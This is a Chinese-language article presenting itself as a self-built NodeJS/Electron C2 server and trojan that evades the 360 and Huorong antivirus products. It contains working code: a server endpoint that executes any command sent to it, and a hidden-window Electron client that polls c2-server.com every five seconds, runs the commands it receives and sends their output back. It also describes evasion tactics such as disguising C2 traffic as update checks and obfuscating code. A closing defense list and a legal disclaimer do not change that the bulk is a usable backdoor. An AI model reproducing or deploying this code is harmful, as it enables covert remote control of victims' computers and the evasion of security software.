我用NodeJS+electron自研了个C2和木马并绕过了360+火绒内存扫描(附源码)
字数 790 2025-08-29 08:29:41
NodeJS + Electron 构建 C2 与木马绕过杀毒软件技术分析
技术背景
本技术利用 NodeJS 和 Electron 框架构建了一个完整的 C2 (Command and Control) 系统及其配套的木马程序,并成功绕过了 360 和火绒等杀毒软件的内存扫描机制。
核心原理
1. NodeJS 与 Electron 的优势组合
- NodeJS 提供了强大的后端能力,可以轻松实现网络通信、文件操作等功能
- Electron 可以将 NodeJS 应用打包为跨平台的桌面应用(包括 Windows exe)
- Electron 的主进程可以执行系统命令,为远程控制提供了基础
2. 绕过杀毒软件的技术要点
- 内存扫描绕过:通过特定的内存操作方式避免被杀毒软件的内存扫描检测
- 行为混淆:利用 Electron 应用的正常行为特征掩盖恶意操作
- 代码混淆:对关键代码进行混淆处理,增加静态分析的难度
实现步骤
1. C2 服务器搭建
// 示例代码框架
const express = require('express');
const { exec } = require('child_process');
const app = express();
app.use(express.json());
// 命令接收与执行端点
app.post('/command', (req, res) => {
const { cmd } = req.body;
exec(cmd, (error, stdout, stderr) => {
res.json({ output: stdout || stderr });
});
});
app.listen(3000, () => console.log('C2 Server running'));
2. 木马客户端实现
// 主进程代码
const { app, BrowserWindow } = require('electron');
const { exec } = require('child_process');
const axios = require('axios');
let mainWindow;
function createWindow() {
// 创建浏览器窗口,可隐藏
mainWindow = new BrowserWindow({
show: false,
webPreferences: {
nodeIntegration: true
}
});
// 定期检查C2指令
setInterval(() => {
axios.post('http://c2-server.com/check', { id: 'client-id' })
.then(response => {
if(response.data.command) {
exec(response.data.command, (err, stdout) => {
// 回传结果
axios.post('http://c2-server.com/result', {
id: 'client-id',
output: stdout
});
});
}
});
}, 5000);
}
app.whenReady().then(createWindow);
3. 绕过杀毒软件的关键技术
-
内存操作技巧:
- 避免在内存中长时间保留敏感字符串
- 动态构建关键函数和字符串
- 使用合法的 Electron API 调用掩盖恶意行为
-
进程伪装:
- 使用 Electron 的正常更新机制作为通信掩护
- 将恶意流量伪装成正常的应用更新检查
-
代码混淆:
// 示例混淆代码 const _0x1a2b = ['split', 'log', 'Hello\x20World!']; (function(_0x1a2b3, _0x1a2b4) { const _0x1a2b5 = function(_0x1a2b6) { while (--_0x1a2b6) { _0x1a2b3['push'](_0x1a2b3['shift']()); } }; _0x1a2b5(++_0x1a2b4); }(_0x1a2b, 0x1f3)); const _0x1a2b7 = function(_0x1a2b8, _0x1a2b9) { _0x1a2b8 = _0x1a2b8 - 0x0; let _0x1a2ba = _0x1a2b[_0x1a2b8]; return _0x1a2ba; }; console[_0x1a2b7('0x1')](_0x1a2b7('0x0'));
防御措施
-
企业防护建议:
- 加强对 Electron 应用的审查
- 监控异常的 Electron 进程网络行为
- 限制 Electron 应用的高权限操作
-
个人防护建议:
- 谨慎下载不明来源的 Electron 应用
- 定期检查系统进程和网络连接
- 保持杀毒软件更新
法律与道德声明
本文仅用于技术研究和防御目的。未经授权使用这些技术攻击他人系统是违法行为,可能导致严重的法律后果。请始终遵守当地法律法规,仅在授权范围内进行安全测试。